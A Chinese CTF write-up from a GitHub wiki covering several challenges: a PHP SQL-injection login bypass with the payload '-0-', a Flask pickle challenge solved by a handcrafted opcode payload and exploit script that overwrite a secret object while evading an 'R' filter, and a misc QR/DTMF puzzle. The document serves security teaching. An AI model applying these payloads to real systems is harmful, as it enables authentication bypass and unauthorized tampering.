Skip to content

GXZY_WP

Stack_sqx edited this page Mar 10, 2020 · 5 revisions

高校战役分享赛Writeup

背景阐述,本人系Web选手,解出3道web方向题目,客串杂项选手,解出一道Misc方向

Web-SqlSql

审计代码

<?php 
    // ...
    $pdo = new PDO('mysql:host=localhost;dbname=sqlsql;charset=utf8;', 'xxx', 'xxx');
    $pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
    $stmt = $pdo->prepare("SELECT username from users where username='${_POST['username']}' and password='${_POST['password']}'");
    $stmt->execute();
    $result = $stmt->fetchAll();
    if (count($result) > 0) {
        if ($result[0]['username'] == 'admin') {
            include('flag.php');
            exit();
    // ....

有个值得注意的东西->PDO 什么是PDO呢? PHP 数据对象 (PDO) 扩展为PHP访问数据库定义了一个轻量级的一致接口。 PDO 提供了一个数据访问抽象层,这意味着,不管使用哪种数据库,都可以用相同的函数(方法)来查询和获取数据 好的,这个源代码,一眼看上去,有点预编译的意思,但是呢,这儿并没有把参数设置为False,所以预编译不复存在 那么,这儿该采取什么注入姿势呢 记住了,所有类型的注入姿势,都是基于查询库,表,列语句 先判断是否有注入点,输入1正常,输入1'报错 注入姿势の选择 使用了个类型转换进行注入

username=admin&password='-0-'

也有直接拿'-'注入也可 实际上执行的查询语句是where password = 0

Web-Webtmp

这个题一开始因为有个假过滤被折磨半天2333 (其实还是因为人菜啦

import base64
import io
import sys
import pickle

from flask import Flask, Response, render_template, request
import secret


app = Flask(__name__)


class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __repr__(self):
        return f'Animal(name={self.name!r}, category={self.category!r})'

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
    with open(filename, 'r', encoding=encoding) as fin:
        return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
    if request.args.get('source'):
        return Response(read(__file__), mimetype='text/plain')

    if request.method == 'POST':
        try:
            pickle_data = request.form.get('data')
            if b'R' in base64.b64decode(pickle_data):
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
            else:
                result = restricted_loads(base64.b64decode(pickle_data))
                if type(result) is not Animal:
                    return 'Are you sure that is an animal???'
            correct = (result == Animal(secret.name, secret.category))
            return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
        except Exception as e:
            print(repr(e))
            return "Something wrong"

    sample_obj = Animal('一给我哩giaogiao', 'Giao')
    pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode()
    return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

重头戏来了

 if b'R' in base64.b64decode(pickle_data):
                return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'

No RCEs 断人生路啊,但是,别急,仔细观察 这个地方需要选手用pickle赋值secret pickle:

    c__main__\nsecret\np0\n0g0\n(}(S'name'\nI1\ndtbg0\n(}(S'category'\nI1\ndtb(I1\nI1\ni__main__\nAnimal\np3\n0g3\n.

因为只是赋值,不需要执行,所以可以不用R 附上exp

import base64
import pickle
class Animal:
    def __init__(self, name, category):
        self.name = "file"
        self.category = "read"
    def __repr__(self):
        return f'Animal(name={self.name!r}, category={self.category!r})'

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module == '__main__':
            return getattr(sys.modules['__main__'], name)
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
    with open(filename, 'r', encoding=encoding) as fin:
        return fin.read()
#
s=b'''c__main__\nsecret\np0\n0g0\n(}(S'name'\nI1\ndtbg0\n(}(S'category'\nI1\ndtb(I1\nI1\ni__main__\nAnimal\np3\n0g3\n.
'''
pickle_data = base64.b64encode(s).decode()
print(pickle_data)

Misc之隐藏信息

QRcode0 把三个定位点p上去 QR1 扫描后没得到解压密码,很难受还被出题人嘲讽了一番 伪加密 是个伪加密2333 打开隐藏信息 听了一下午,果断向精通信号与系统的学长求助 FFT处理DTMF 最终电话号码187485618521 前面一段5个,后面一段7个字母

然后交flag

不对啊,很难受

回去WinHex二维码

WinHex 于是把这12个字符b64一下得到flag

下午更新FMKQ解法


Welcome to the web playground

Inspired by @LFYSec

Clone this wiki locally